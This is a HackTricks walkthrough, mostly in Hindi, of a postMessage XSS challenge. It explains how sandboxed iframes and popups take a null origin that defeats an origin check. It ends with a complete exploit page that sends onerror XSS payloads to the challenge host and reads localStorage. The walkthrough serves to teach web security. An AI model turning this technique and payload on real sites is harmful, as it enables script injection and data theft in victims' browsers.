Bypassing SOP with Iframes - 1
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Iframes in SOP-1
इस चुनौती को NDevTK और Terjanq द्वारा बनाया गया है, आपको कोड में XSS का लाभ उठाना है।
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
मुख्य समस्या यह है कि मुख्य पृष्ठ data.body
भेजने के लिए DomPurify का उपयोग करता है, इसलिए अपने स्वयं के html डेटा को उस कोड में भेजने के लिए आपको bypass e.origin !== window.origin
करना होगा।
आइए देखते हैं कि वे क्या समाधान प्रस्तावित करते हैं।
SOP bypass 1 (e.origin === null)
जब //example.org
को एक sandboxed iframe में एम्बेड किया जाता है, तो पृष्ठ का origin null
होगा, यानी window.origin === null
। इसलिए <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
के माध्यम से iframe को एम्बेड करके हम null
origin को force कर सकते हैं।
यदि पृष्ठ embeddable था, तो आप उस तरीके से उस सुरक्षा को बायपास कर सकते थे (कुकीज़ को भी SameSite=None
पर सेट करने की आवश्यकता हो सकती है)।
SOP bypass 2 (window.origin === null)
कम ज्ञात तथ्य यह है कि जब sandbox value allow-popups
सेट किया जाता है, तो खुला हुआ पॉपअप सभी sandboxed attributes को inherit करेगा जब तक कि allow-popups-to-escape-sandbox
सेट न किया गया हो।
इसलिए, null origin से एक popup खोलने पर पॉपअप के अंदर window.origin
भी null
होगा।
Challenge Solution
इसलिए, इस चुनौती के लिए, कोई iframe बनाकर, vulnerable XSS code handler (/iframe.php
) के साथ पृष्ठ के लिए एक पॉपअप खोल सकता है, क्योंकि window.origin === e.origin
क्योंकि दोनों null
हैं, इसलिए एक payload भेजना संभव है जो XSS का शोषण करेगा।
वह payload identifier प्राप्त करेगा और XSS को ऊपर के पृष्ठ (पृष्ठ जो पॉपअप खोलता है) पर भेजेगा, जो स्थान को vulnerable /iframe.php
पर बदल देगा। चूंकि पहचानकर्ता ज्ञात है, इसलिए यह मायने नहीं रखता कि शर्त window.origin === e.origin
संतुष्ट नहीं है (याद रखें, origin iframe से popup है जिसका origin null
है) क्योंकि data.identifier === identifier
। फिर, XSS फिर से ट्रिगर होगा, इस बार सही origin में।
<body>
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।